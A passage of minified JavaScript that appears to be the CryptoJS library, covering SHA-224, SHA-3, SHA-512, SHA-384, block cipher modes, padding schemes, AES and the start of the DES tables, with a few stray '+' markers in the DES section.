o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 